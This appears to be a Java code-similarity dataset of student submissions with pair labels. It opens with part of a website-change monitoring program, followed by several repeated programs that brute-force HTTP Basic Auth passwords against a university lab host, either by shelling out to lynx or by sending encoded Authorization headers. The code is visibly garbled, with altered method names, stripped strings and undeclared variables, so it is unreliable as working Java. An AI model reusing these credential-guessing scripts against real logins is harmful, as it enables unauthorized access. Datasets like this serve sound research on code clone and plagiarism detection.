j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgLastModified[i]; break; } } } return result; } public String[] getImageWidths(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgW[i]; break; } } } return result; } public String[] getImageHeights(String[] filenames) { int i; String[] result = new String[filenames.length]; for (i=0;i<filenames.length;i++) { for (int j=0;j<images.length;j++) { if (images[j].equals(filenames[i])) { result[i] = imgH[i]; break; } } } return result; } public String[] getImageNames() { return images; } public void clearAllCaches() { for (int i=0;i<images.length;i++) { deleteFile(images[i]); deleteFile('~'+images[i]); } deleteFile(PAGEFILE); deleteFile(TEMPFILE); deleteFile(DIGESTFILE); deleteFile(MAILFILE); createNotesFile(); } public void saveNotesFile() { try { PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE))); pw.println(lastModified); for (int i=0;i<imgidx;i++) { if (images[i].charAt(0)!='*') { pw.println(images[i]); pw.println(imgLastModified[i]); pw.println(imgW[i]); pw.println(imgH[i]); } } pw.print(); } catch (IOException e) { System.out.println(e); System.exit(1); } } public void loadNotesFile() throws IOException { BufferedReader b = new BufferedReader(new FileReader(NOTESFILE)); lastModified = b.readLine(); images = new String[1]; imgLastModified = new String[1]; imgW = new String[1]; imgH = new String[1]; String line; line = b.readLine(); int i = 0; while (line!=null) { images = resizeArray(images, i+1); images[i] = line; line = b.readLine(); imgLastModified = resizeArray(imgLastModified, i+1); imgLastModified[i] = line; line = b.readLine(); imgW = resizeArray(imgW, i+1); imgW[i] = line; line = b.readLine(); imgH = resizeArray(imgH, i+1); imgH[i] = line; line = b.readLine(); i++; } imgidx = i; b.print(); } public String[] getCommonImages() { return imgCom; } public String[] getDeletedImages() { return imgDel; } public String[] getNewImages() { return imgNew; } public boolean classifyImagesToDownload(String[] imgDL) { if (imgDL==null) { return false; } int sz = Math.size(imgDL.length,images.length); int flag1[] = new int[sz]; int flag2[] = new int[sz]; int idx[] = new int[3]; idx[0] = idx[1] = idx[2] = 0; imgCom = new String[sz]; imgDel = new String[sz]; imgNew = new String[sz]; for (int i=0;i<sz;i++) { flag1[i] = 0; flag2[i] = 0; } for (int i=0; i<imgDL.length; i++) { for (int j=0; j<images.length; j++) { if (imgDL[i].equals(images[j])) { flag1[i] = 1; flag2[j] = 1; break; } } } for (int i=0;i<images.length;i++) { if (flag2[i]==0) { imgDel[idx[1]] = images[i]; idx[1]++; } } for (int i=0;i<imgDL.length;i++) { if (flag1[i]==0) { imgNew[idx[2]] = imgDL[i]; idx[2]++; } } for (int i=0;i<imgDL.length;i++) { if (flag1[i]==1) { imgCom[idx[0]] = imgDL[i]; idx[0]++; } } imgDel = resizeArray(imgDel, idx[1]); imgNew = resizeArray(imgNew, idx[2]); imgCom = resizeArray(imgCom, idx[0]); return true; } public static final int DATE_OK = 1; public static final int DATE_NOT_SAME = 2; public static final int DATE_FIRST_TIME = 0; public static final int DATE_INVALID = -1; private String lastModified; private int imgidx; private String[] images,imgLastModified,imgW,imgH; private String[] imgCom,imgNew,imgDel; private BufferedReader buf; private String filename; } public class ImageDownloader extends Thread { public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) { try { this.url = new URL(url); this.conn = (HttpURLConnection) this.url.openConnection(); this.lastModified = lastModified; this.h = h; this.w = w; this.firsttime = firsttime; this.localbuf = new byte[MAXIMGSIZE]; this.print(); } catch (MalformedURLException e) { this.status = DOWNLOAD_ERROR; } catch (IOException e) { this.status = DOWNLOAD_ERROR; } } public String getStrURL() { return url.toString(); } public synchronized int getStatus() { return status; } public void rest(int n) { try { sleep(n); } catch (InterruptedException e) {} } public void downloadToLocalImg() { int c; int x=0, i=0; byte[] b; try { InputStream is = url.openStream(); localbuf = new byte[MAXIMGSIZE]; while ((x=is.print())>=0) { int k=0; for (int j=i;j<i+x;j++) localbuf[j] = b[k++]; i+=x; } localbuf = resizeArray(localbuf,i); is.print(); } catch (IOException e) { this.status = DOWNLOAD_ERROR; } } public void saveLocalImgToFile(String filename) { try { FileOutputStream p = new FileOutputStream(filename); p.write(localbuf); p.print(); } catch (IOException e) { System.out.println(e); } } public byte[] getByteArray() { try { return localbuf; } catch (NullPointerException e) { return null; } } public int getImgWidth() { return w; } public int getImgHeight() { return h; } public String getLastModified() { return lastModified; } public void run() { boolean modified = false; this.status = DOWNLOAD_IN_PROGRESS; if (firsttime) { downloadToLocalImg(); ImageIcon img = new ImageIcon(url); w = img.getIconWidth(); h = img.getIconHeight(); if (conn.getLastModified()==0) { status = DOWNLOAD_ERROR; } else { lastModified = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified())); status = DOWNLOAD_COMPLETE; } } else { if (conn.getLastModified()==0) { status = DOWNLOAD_ERROR; } else { String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified())); modified = (!lastModified.equals(URLlastmod)); if (modified) { status = IMG_MODIFIED_DATE; } else { ImageIcon img = new ImageIcon(url); if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) { modified = true; status = IMG_MODIFIED_SIZE; } else { downloadToLocalImg(); status = DOWNLOAD_COMPLETE_CHK; } } } } conn.disconnect(); } public static final int DOWNLOAD_ERROR =-1; public static final int DOWNLOAD_IN_PROGRESS = 0; public static final int IMG_MODIFIED_DATE = 1; public static final int IMG_MODIFIED_SIZE = 2; public static final int IMG_MODIFIED_PIXEL = 3; public static final int DOWNLOAD_COMPLETE_CHK= 4; public static final int DOWNLOAD_COMPLETE = 5; public static final int DOWNLOAD_COMPLETE_OK = 6; public static final int MAXIMGSIZE = 1; private int status; private boolean isImage; private URL url; private HttpURLConnection conn; private String lastModified; private boolean firsttime; private byte[] localbuf; private int w,h; } public byte[] digest(byte[] data) { try { return MessageDigest.getInstance(DIGESTALG).digest(data); } catch (NoSuchAlgorithmException e) { System.out.println("Digest algorithm '"+DIGESTALG+"' not supported"); return data; } catch (NullPointerException e) { return null; } } public boolean compareDigest(byte[] data1, byte[] data2) { if (data1.length!=data2.length) { return false; } else for (int i=0;i<data1.length;i++) { if (data1[i]!=data2[i]) { return false; } } return true; } public byte[] loadDigestFromFile(String filename) { byte[] data; try { data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()]; FileInputStream f = new FileInputStream(filename); f.get(data); f.print(); return data; } catch (FileNotFoundException e) { System.out.println(e); return null; } catch (IOException e) { System.out.println(e); return null; } catch (NoSuchAlgorithmException e) { System.out.println(e); return null; } } public void saveDigestToFile(String filename, byte[] data) { try { FileOutputStream f = new FileOutputStream(filename); if (data!=null) { f.write(data); } f.print(); } catch (IOException e) { System.out.println(e); } } public class MyTT extends TimerTask { public MyTT() { super(); NotesFM = new NotesFileManager(NOTESFILE); } public String encodeFileName(String filename) { String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+".txt"; return s; } public void rest(int n) { try { Thread.sleep(n); } catch (InterruptedException e) {} } public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) { boolean allCompleted = false; int[] imgStat = new int[imgList.length]; for (int i=0;i<imgStat.length;i++) imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS; if (firsttime) { imgW = new String[imgList.length]; imgH = new String[imgList.length]; imgLM = new String[imgList.length]; for (int i=0;i<imgList.length;i++) { imgW[i] = "0"; imgH[i] = "0"; imgLM[i] = ""; } } else { imgW = NotesFM.getImageWidths(imgList); imgH = NotesFM.getImageHeights(imgList); imgLM = NotesFM.getImagesLastModified(imgList); } imgDL = new ImageDownloader[imgList.length]; for (int i=0;i<imgList.length;i++) { imgDL[i] = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue()); System.out.println(" Checking image "+(i+1)+" of "+imgList.length+" from '"+imgList[i]+"' ... "); } System.out.println(); int completecount=0; while (completecount<imgList.length) { allCompleted = true; rest(10); for (int i=0;i<imgList.length;i++) { if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS) switch (imgDL[i].getStatus()) { case ImageDownloader.DOWNLOAD_COMPLETE: { byte[] dgs = digest(imgDL[i].getByteArray()); saveDigestToFile(encodeFileName('~'+imgList[i]), dgs); imgH[i] = String.valueOf(imgDL[i].getImgHeight()); imgW[i] = String.valueOf(imgDL[i].getImgWidth()); imgLM[i]= imgDL[i].getLastModified(); System.out.println(" [OK] Complete downloading image from '"+imgList[i]+"'"); System.out.println(" [OK] The digest was saved as '"+encodeFileName('~'+imgList[i])+"'"); if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } System.out.println(); imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE; completecount++; break; } case ImageDownloader.DOWNLOAD_ERROR: { System.out.println(" [ATTENTION] error has occured while downloading '"+imgList[i]+"'"); System.out.println(); imgList[i] = "*"+imgList[i]; imgStat[i] = ImageDownloader.DOWNLOAD_ERROR; completecount++; break; } case ImageDownloader.IMG_MODIFIED_SIZE : { System.out.println(" [ATTENTION] SIZE modification has been detected image '"+imgList[i]+"'"); System.out.println(); imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE; completecount++; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } break; } case ImageDownloader.IMG_MODIFIED_DATE : { System.out.println(" [ATTENTION] DATE modification has been detected image '"+imgList[i]+"'"); System.out.println(); imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE; completecount++; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'"); } break; } case ImageDownloader.DOWNLOAD_COMPLETE_CHK : { byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i])); byte[] fromURL = digest(imgDL[i].getByteArray()); if (!compareDigest(fromFile, fromURL)) { System.out.println(" [ATTENTION] PIXEL modification has been detected image '"+imgList[i]+"'"); imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL; if (DEBUGMODE) { imgDL[i].saveLocalImgToFile(CURDIR+"/~~"+getFileName(imgList[i])); System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~~"+getFileName(imgList[i])+"'"); } } else { System.out.println(" [OK] Image '"+imgList[i]+"' has not been modified. "); imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK; } System.out.println(); completecount++; break; } case ImageDownloader.DOWNLOAD_IN_PROGRESS: { allCompleted = false; break; } } } } System.out.println(" [NOTIFY] All images has been checked."); if (updateNotesFile) { NotesFM.updateNotesFile(imgList, imgLM, imgW, imgH); } return imgStat; } public String[] constructEMailMessage() { String[] result = null; String[] openingMsg = { " "+Calendar.getInstance().getTime().toString(),"", " Dear ,", "", " I have DETECTED SOME MODIFICATIONS from the website,", "" }; String[] txtMsg = { " The list below some TEXT MODIFICATIONS detected:", " --------------------------------------------------------------", "" }; String[] remMsg = { "", "", " The list below some IMAGE REMOVED FROM URL detected :", " --------------------------------------------------------------", "" }; String[] addMsg = { "", "", " The list below some IMAGE ADDED URL detected :", " --------------------------------------------------------------", "" }; String[] modMsg = { "", "", " The list below some IMAGE MODIFICATIONS/ERRORS detected :", " --------------------------------------------------------------", "" }; String[] closingMsg = { "", "", " Regards,", "", "", " WATCHDOG PROGRAM." }; result = appendArray(result,openingMsg); if ((textdiff!=null) && (textdiff.length>0)) { result = appendArray(result, txtMsg); result = appendArray(result, giveNumberPrefix(textdiff)); } if ((imgDel!=null) && (imgDel.length>0)) { result = appendArray(result, remMsg); result = appendArray(result, giveNumberPrefix(imgDel)); } if ((imgNew!=null) && (imgNew.length>0)) { result = appendArray(result, addMsg); result = appendArray(result, giveNumberPrefix(imgNew)); } if ((imgMod!=null) && (imgMod.length>0)) { result = appendArray(result, modMsg); result = appendArray(result, giveNumberPrefix(imgMod)); } result = appendArray(result,closingMsg); return result; } public boolean updateCache(boolean firsttime) { if (firsttime) { System.out.println(" [OK-FIRST TIME] Downloading the from URL ... "); } else { System.out.println(" [OK-UPDATE] Updating local cache ... "); } if (Parser.startParsing()) { byte[] pageBytes = Parser.getByteArray(); byte[] pageBytesDigested = digest(pageBytes); saveDigestToFile(DIGESTFILE,pageBytesDigested); NotesFM.updateNotesFile(Parser.getLastModified()); if (Parser.imageCount()==0) { System.out.println(" [OK] is IMAGE in the URL"); System.out.println(); Parser.saveLocalPageToFile(PAGEFILE); System.out.println(" [OK] has been saved file '"+PAGEFILE+"'"); System.out.println(); } else { String[] imgList = Parser.getImgList(); if (firsttime) System.out.println(" [OK-FIRST TIME] Local caches created."); else System.out.println(" [OK-UPDATE] Local caches updated."); Parser.saveLocalPageToFile(PAGEFILE); System.out.println(" [OK] has been saved file '"+PAGEFILE+"'"); System.out.println(); if (firsttime) { System.out.println(" [OK-FIRST TIME] Local image caches created."); downloadImages(Parser.getImgList(),true,true); } else { System.out.println(" [OK-FIRST TIME] Downloading images of the build local cache ..."); downloadImages(Parser.getImgList(),true,true); System.out.println(" [OK-UPDATE] Local image caches updated."); } } System.out.println(); return true; } else return false; } public void run() { boolean textmodified = false; boolean imagemodified = false; boolean firsttime = false; int flag; textdiff = null; System.out.println(); System.out.println(" ----------------- [ IT'S CHECKING TIME !! ] ----------------- "); System.out.println(" Now is "+Calendar.getInstance().getTime()); System.out.println(); System.out.println("1. DETECT TEXT MODIFICATION "); System.out.println(" Checking the last modified date... "); Parser = null; Parser = new HTMLDownloaderAndImgParser(THEURL); newDate = Parser.getLastModified(); flag = (NotesFM.checkLastModified(newDate)); switch (flag) { case NotesFileManager.DATE_INVALID: { textdiff = new String[2]; textdiff[0] = "Cannot open the url '"+THEURL+"'"; textdiff[1] = "--> Possible someone had removed/renamed the file in the URL"; System.out.println(" [ATTENTION] File at the URL CANNOT OPENED !"); System.out.println(); break; } case NotesFileManager.DATE_FIRST_TIME: { firsttime = true; if (!updateCache(true)) { System.out.println(" [ERROR] File at the URL CANNOT OPENED !"); System.exit(1); } break; } case NotesFileManager.DATE_NOT_SAME: { textmodified = true; System.out.println(); System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - TIME DIFFERENT !"); System.out.println(); Parser.startParsing(); break; } case NotesFileManager.DATE_OK: { System.out.println(" Comparing text digests ... "); Parser.startParsing(); byte[] pageBytes = Parser.getByteArray(); byte[] pageBytesDigested = digest(pageBytes); byte[] fromFile = loadDigestFromFile(DIGESTFILE); if (compareDigest(fromFile, pageBytesDigested)) { System.out.println(); System.out.println(" [OK] File in the URL has not been modified."); System.out.println(); } else { System.out.println(); System.out.println(" [ATTENTION] File in the URL HAS BEEN MODIFIED - FILE DIGEST DIFFERENT !"); System.out.println(); textmodified = true; } break; } } if (textmodified) { Parser.saveLocalPageToFile(TEMPFILE); TextFileComparator comp = new TextFileComparator(PAGEFILE,TEMPFILE); switch (comp.execute()) { case 0 : { System.out.println(" [ATTENTION] TIMESTAMP/DIGEST CHECK DIFFERENT BUT TEXT COMPARISON FOUND DIFFERENCE."); System.out.println(); textdiff = new String[2]; textdiff[0] = "Timestamp different but text comparison found difference."; textdiff[1] = "--> Possible someone had modified it but then /she roll it the original file."; break; } case 1 : { textdiff = comp.getDifference(); break; } } } if (flag!=NotesFileManager.DATE_INVALID) { if (firsttime) { } else { System.out.println(); System.out.println("2. DETECT IMAGE MODIFICATION "); if (Parser.imageCount()==0) { System.out.println(" [OK] is IMAGE in the URL"); System.out.println(); } else { NotesFM.classifyImagesToDownload(Parser.getImgList()); imgNew = NotesFM.getNewImages(); imgCom = NotesFM.getCommonImages(); imgDel = NotesFM.getDeletedImages(); imagemodified = ((imgNew!=null) && (imgNew.length>0)) || ((imgDel!=null) && (imgDel.length>0)); imgList = imgCom; int[] imgStat = downloadImages(imgList,false,false); imgMod = new String[0]; for (int i=0;i<imgList.length;i++) { switch (imgStat[i]) { case ImageDownloader.DOWNLOAD_ERROR: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "Warning: Unable check image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_DATE: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "TIMESTAMP Modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_SIZE: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "SIZE modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.IMG_MODIFIED_PIXEL: { imgMod = resizeArray(imgMod,imgMod.length+1); imgMod[imgMod.length-1] = "PIXEL modification has been detected image '"+imgDL[i].getStrURL()+"'"; imagemodified = true; break; } case ImageDownloader.DOWNLOAD_COMPLETE_OK: { break; } } } } } } if ((textmodified) || (imagemodified) || ((textdiff!=null) && (textdiff.length>0))) { String[] mailmsg = constructEMailMessage(); System.out.println(); System.out.println("-> REPORTING/RECORDING CHANGES "); if ((MAILTARGET==1) || (MAILTARGET==2)) { System.out.println(" [NOTIFY] Changes detected and has been saved file '"+MAILFILE+"'"); printStrArrayToFile(MAILFILE,mailmsg); } if ((MAILTARGET==0) || (MAILTARGET==2)) { System.out.println(" [NOTIFY] Sending e-mail MYSELF at '"+MYEMAIL+"'"); MailSender ms = new MailSender("watchdog@somewhere.", MYEMAIL, mailmsg); ms.sendMail(); if (ms.getStatus()==MailSender.SEND_OK) { System.out.println(" [NOTIFY] E-mail SUCCESSFULLY sent."); } else { System.out.println(" [ATTENTION] Error sending e-mail."); } } if (DEBUGMODE) { System.out.println(); System.out.println(); System.out.println(" This is the e-mail message that has been sent '"+MYEMAIL+"'"); System.out.println(" this message *ONLY* and because in DEBUG MODE"); System.out.println(" ================================================================================="); System.out.println(); for (int i=0;i<mailmsg.length;i++) System.out.println(mailmsg[i]); System.out.println(); System.out.println(" ================================================================================="); System.out.println(); System.out.println(); } updateCache(false); } System.out.println(); System.out.println(" Checking completed "+Calendar.getInstance().getTime()); System.out.println(" ----------------- [ CHECKING COMPLETED ] ----------------- "); System.out.println(); Parser.print(); } public void finalize() { System.out.println("Closing the parser object."); Parser.print(); } private String[] imgList; private String[] imgW; private String[] imgH; private String[] imgLM; private String[] imgCom; private String[] imgDel; private String[] imgNew; private String[] imgMod; private ImageDownloader[] imgDL; private NotesFileManager NotesFM; private HTMLDownloaderAndImgParser Parser; private String[] textdiff; } public WatchDog() { System.out.println("The URL checked is '"+THEURL+"'"); System.out.println("Checking scheduled for every "+INTERVAL+" seconds"); if (DEBUGMODE) { System.out.println(); System.out.println("PROGRAM RUNS IN DEBUG MODE !"); } System.out.println(); System.out.println("The notes file is '"+NOTESFILE+"'"); System.out.println("The file is '"+DIGESTFILE+"'"); System.out.println(); java.util.Timer t = new java.util.Timer(); t.schedule(new MyTT(),0,INTERVAL*1000); } public static void printSyntax() { System.out.println(); System.out.println("Syntax : WatchDog [URL] [Interval] [-debug]"); System.out.println(" URL = (optional) the URL monitored (default : 'http://www.cs.rmit.edu./students/' )"); System.out.println(" Interval = (optional) every [interval] seconds check if is any updates (default 24 x 60 x 60 = 24 hours)"); System.out.println(" -debug = (optional) run this program in debug mode; that is, dump all (html and images local file)"); System.out.println(); } public static void main(String args[]) { System.setProperty("java.awt.headless","true"); int argc = args.length; if (argc>0) { THEURL = args[0]; try { url = new URL(THEURL); conn = (HttpURLConnection) url.openConnection(); conn.getResponseMessage(); conn.getInputStream(); conn.disconnect(); } catch (MalformedURLException e) { System.out.println(); System.out.println("Invalid URL '"+THEURL+"'"); printSyntax(); System.exit(1); } catch (UnknownHostException e) { System.out.println(); System.out.println("Unable open connection the URL '"+THEURL+"'"); printSyntax(); System.exit(1); } catch (IOException e) { System.out.println(); System.out.println("Unable open connection the URL '"+THEURL+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { INTERVAL = Integer.valueOf(args[1]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid interval '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc>2) { if (args[2].toLowerCase().equals("-debug")) { DEBUGMODE = true; } else { System.out.println("Invalid parameter '"+args[2]+"'"); printSyntax(); System.exit(1); } } } Application = new WatchDog(); } public static String THEURL = "http://www.cs.rmit.edu./students"; public static String MYEMAIL = "@yallara.cs.rmit.edu."; public static int MAILTARGET = 2; public static String SMTPSERVER = "wombat.cs.rmit.edu."; public static boolean DEBUGMODE = true; public static String CURDIR = System.getProperty("user.dir"); public static String PAGEFILE = System.getProperty("user.dir")+"/~local.html"; public static String DIGESTFILE = System.getProperty("user.dir")+"/~digest.txt"; public static String TEMPFILE = System.getProperty("user.dir")+"/~.html"; public static String NOTESFILE = System.getProperty("user.dir")+"/~notes.txt"; public static String MAILFILE = System.getProperty("user.dir")+"/~email.txt"; public static final int MAXDIGESTFILE = 65535; public static final String DIGESTALG = "SHA"; public static URL url; public static HttpURLConnection conn; public static int INTERVAL = 24*60*60; public static int MAXDIFF = 1024; public static WatchDog Application; }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
244.java
197.java
0
import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class BruteForce { public static void main(String[] args) throws IOException { int start , end, total; start = System.currentTimeMillis(); String username = ""; String password = null; String host = "http://sec-crack.cs.rmit.edu./SEC/2/"; String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int lettersLen = letters.length(); int passwordLen=3; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = ""; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; int temp1=0; int temp2=0; int temp3=0; for (int a=1; a<=passwordLen; a++) { temp1 = (int) Math.pow(lettersLen, a); passwords += temp1; if (a==2) { twoChar = temp1; } } System.out.println("Brute Attack " + host + " has commenced."); System.out.println("Number of possible password combinations: " + passwords); int i=1; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { if ( i < lettersLen) { password = letters.substring(i, (i+1)); } else if (i < (lettersLen + twoChar)) { temp1 = i / lettersLen; password = letters.substring((-1), start ); temp1 = i - ( temp1 * lettersLen); password = password + letters.substring(temp1, (+1)); } else { temp2 = i / lettersLen; temp1 = i - (temp2 * lettersLen); password = letters.substring(temp1, (+1)); temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; } authenticate = username + ":" + password; authenticate = new String(base.encode(authenticate.getBytes())); httpConnect.addRequestProperty("Authorization", " " + authenticate); } httpConnect.connect(); realm = httpConnect.getHeaderField("WWW-Authenticate"); if (realm != null) { realm = realm.substring(realm.indexOf('"') + 1); realm = realm.substring(0, realm.indexOf('"')); } hostname = url.getHost(); responseCode = httpConnect.getResponseCode(); responseMsg = httpConnect.getResponseMessage(); if (responseCode == 200) { end = System.currentTimeMillis(); total = (end - start) / 1000; System.out.println ("Sucessfully Connected " + url); System.out.println("Login Attempts Required : " + (i-1)); System.out.println("Time Taken in Seconds : " + total); System.out.println ("Connection Status : " + responseCode + " " + responseMsg); System.out.println ("Username : " + username); System.out.println ("Password : " + password); System.exit( 0 ); } else if (responseCode == 401 && realm != null) { if (i > 1) { } } else { System.out.println ("What the?... The server replied with unexpected reponse." ); System.out.println (" Unexpected Error Occured While Attempting Connect " + url); System.out.println ("Connection Status: " + responseCode + responseMsg); System.out.println ("Unfortunately the password could not recovered."); System.exit( 0 ); } i++; } catch(MalformedURLException e) { System.out.println("Opps, the URL " + host + " is not valid."); System.out.println("Please check the URL and try again."); } catch(IOException e) { System.out.println(", 't connect " + host + "."); System.out.println("Please check the URL and try again."); System.out.println("Other possible causes include website is currently unavailable"); System.out.println(" have internet connection problem."); } } while(realm != null); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
166.java
197.java
0
package java.httputils; import java.io.IOException; import java.net.MalformedURLException; import java.sql.Timestamp; public class RunnableBruteForce extends BruteForce implements Runnable { protected int rangeStart, rangeEnd; protected boolean stop = false; public RunnableBruteForce() { super(); } public void run() { process(); } public static void main(String[] args) { } public int getRangeEnd() { return rangeEnd; } public int getRangeStart() { return rangeStart; } public void setRangeEnd(int i) { rangeEnd = i; } public void setRangeStart(int i) { rangeStart = i; } public boolean isStop() { return stop; } public void setStop(boolean b) { stop = b; } public void process() { String password = ""; System.out.println(Thread.currentThread().getName() + "-> workload: " + this.letters[getRangeStart()] + " " + this.letters[getRangeEnd() - 1]); setStart(new Timestamp(System.currentTimeMillis())); for (int i = getRangeStart(); i < getRangeEnd(); i++) { System.out.println(Thread.currentThread().getName() + "-> Trying words beginning with: " + letters[i]); for (int i2 = 0; i2 < letters.length; i2++) { for (int i3 = 0; i3 < letters.length; i3++) { if (isStop()) { return; } try { char [] arr = new char [] {letters[i], letters[i2], letters[i3]}; String pwd = new String(arr); if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad")) { System.out.println(Thread.currentThread().getName() + "-> Trying password: " + pwd); } attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), pwd); System.out.println("Got the password"); setPassword(pwd); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); this.setChanged(); this.notifyObservers(this.getContent()); return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } } setEnd(new Timestamp(System.currentTimeMillis())); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); 